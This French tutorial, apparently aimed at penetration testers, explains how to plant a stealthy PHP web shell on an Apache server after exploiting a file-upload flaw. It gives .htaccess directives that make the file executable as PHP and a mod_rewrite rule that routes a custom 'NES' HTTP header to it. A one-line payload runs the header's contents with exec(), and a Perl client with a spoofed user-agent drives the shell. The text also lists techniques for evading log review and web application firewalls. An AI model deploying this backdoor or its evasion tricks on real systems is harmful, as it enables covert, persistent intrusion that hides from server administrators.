Lors d’un test d’intrusion web, il arrive de découvrir une vulnérabilité d’upload de fichiers permettant d’envoyer des fichiers PHP.
Afin d’exploiter cette vulnérabilité, on envoie un Web Shell PHP classique ou un peu plus évolué (c99, c100, r57, 12309…) permettant d’exécuter des commandes à distance sur le serveur attaqué.
Malheureusement ce type d’attaque est souvent très peu discrète et un admin système consciencieux peut vite repérer le webshell.
Nous allons ici vous expliquer une méthode pour rendre cette attaque quasi-indétectable
Voici un exemple avec le classique web shell c99.php made in Russia (qui a dit mafia ?) :
L’utilisation d’un web shell PHP classique laisse des traces, à plusieurs niveaux :
– Création d’un nouveau fichier .php contenant le web shell sur le serveur
– Traces dans les logs : en fonction du niveau de logs, on arrive facilement à détecter des traces suspectes dans le fichier de log access Apache, exemple :
On voit ici l’utilisation d’un fichier php inconnu auparavant, et avec des requêtes contenant des mots clefs suspects.
Un administrateur consciencieux surveillant un minimum ses logs n’aura pas de mal à détecter la présence d’un web shell et vous coupera l’accès à celui-ci rapidement :
LEVEL 1
L’objectif de ce paper est donc de rendre notre webshell le plus indétectable possible sur un serveur web Apache avec les modules PHP et rewrite activés.
Afin de rendre plus difficile la détection de notre attaque, nous allons utiliser la puissance de mod_rewrite disponible par défaut sur notre cher serveur web Apache, pour plusieurs raisons :
– Un fichier .htaccess est beaucoup moins suspect qu’un fichier .php car il peut sembler légitime
– Il permet de passer certains filtres dans le cadre d’une fonction d’upload de fichiers
– Il permet de manipuler la configuration Apache sans toucher au fichier httpd.conf
Le mod_rewrite d’Apache recharge le fichier .htaccess à chaque chargement de page, ce qui permet une modification à la volée de la configuration des pages et des réécritures, contrairement à IIS qui nécessite un redémarrage du serveur à chaque modification du fichier de configuration.
Il n’est donc pas possible d’utiliser les mêmes méthodes que nous allons décrire sur un environnement web IIS.
Par défaut, Apache refuse la lecture des fichiers .htaccess nécessaires au fonctionnement du mod_rewrite pour un visiteur avec les directives suivantes contenues dans le fichier .conf :
Order allow,deny
Deny from all
Nous allons donc créer un fichier .htaccess forçant le droit de lecture de lui-même ( ) avec la directive suivante:
Order allow,deny
Allow from all
Nous pouvons donc maintenant exécuter le .htaccess depuis nos requêtes classiques.
Afin de pouvoir lancer du code PHP dans le fichier .htaccess, nous forçons le type du fichier .htaccess en un type PHP :
AddType application/x-httpd-php .htaccess
Afin que la page du web shell utilisée ne soit pas tracée dans les logs Apache (exemple : GET /shell.php), nous allons utiliser un en-tête http spécial qui nous permettra d’atteindre le web shell sans trace, quelque soit la page appelée.
Nous décidons donc d’utiliser le nom d’en-tête « NES », nous créons ensuite une entrée pour le mod_rewrite afin qu’il nous redirige sur le web shell sans que cela soit dans les logs :
RewriteEngine on
RewriteCond %{HTTP:NES} !^$
RewriteRule .* .htaccess [L]
A cet instant, dès que l’on appelle n’importe quelle page avec l’en-tête http « NES », nous sommes redirigés sur le .htaccess.
Afin de pouvoir exécuter du PHP dans le fichier .htaccess il est nécessaire que le code soit sur une ligne, et commençant par le caractère de commentaire « # » pour qu’il n’y ait pas de bug Apache.
On peut ensuite nous lancer dans la création de notre shell code PHP, sans oublier que nos payloads passeront par l’en-tête « NES » afin qu’ils ne soient pas tracés .
Il faut donc récupérer le payload de l’en-tête http NES afin de l’exécuter et d’ensuite retourner le résultat dans un autre en-tête NES de réponse :
#< ?php exec($_SERVER[‘HTTP_NES’]. » 2>&1″, $result); header(« NES: « .implode(« rn « , $result)); ?>
Afin de faciliter l’utilisation de ce web shell, nous allons créer un client perl en ligne de commande qui traitera les en-têtes http pour nous :
use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;
my $url = $ARGV[0];
pop(@ARGV);
my $ua = LWP::UserAgent->new;
$ua->agent(‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0) Gecko/20100101 Firefox/10.0’); On falsifie ici l’USER-AGENT afin de ne pas se faire remarquer
sub sendExec($$) {
my ($cmd, $ua) = @_;
my $response = $ua->get( $url, ‘NES’ => $cmd); On récupère le résultat dans l’en-tête
if ($response->header(‘NES’)) { return $response->header(‘NES’); } On vérifie qu’il n’y a pas d’erreur
print « nErreur de connexion au web shell!n »;
die();
}
my $cmd = »;
print « Connexion au Webshell sur $url…n »;
until ($cmd eq ‘exit’) {
print « nNES Web shell> « ;
my $cmd = »;
$cmd = readline;
chomp $cmd; On récupère la commande à exécuter
print sendExec($cmd, $ua); On envoie la commande}
Et voilà, nous pouvons maintenant utiliser notre client.pl avec la syntaxe suivante : perl client.pl [URL à falsifier]
Exemple sur une cible Windows :
Nous pouvons utiliser n’importe quelle URL car nous aurons dans tous les cas accès au web shell grâce à notre en-tête http personnalisé envoyé par notre interface perl.
LEVEL 2
“The quieter you become the more you are able to hear”
Afin de compliquer la tâche des WAF (Web Application Firewall) et/ou de donner une migraine à notre administrateur sécurité du serveur ciblé, il est possible d’offusquer encore un peu plus notre web shell.
Pour ceci, il est possible d’utiliser plusieurs méthodes :
– Encodage en base64 (qui permettra au passage une meilleure mise en page des résultats des commandes)
– Padding du payload : ajout de caractères ne servant à rien dans les requêtes afin d’empêcher le décodage automatique des payloads base64
– Manipulation des lettres dans les noms des fonctions PHP à base de str_replace : afin d’empêcher la détection de fonctions PHP (exemple : exec, base64_decode, base64_encode…)
– Envoi de contenu de taille fixe en retour (afin de ne pas alerter les WAF avec une page de 0 octet)
– Utilisation d’un en-tête HTTP plus discret
– Changement de page de requête à chaque commande envoyée
Cette partie fera l’objet d’un prochain paper.
….. A SUIVRE …..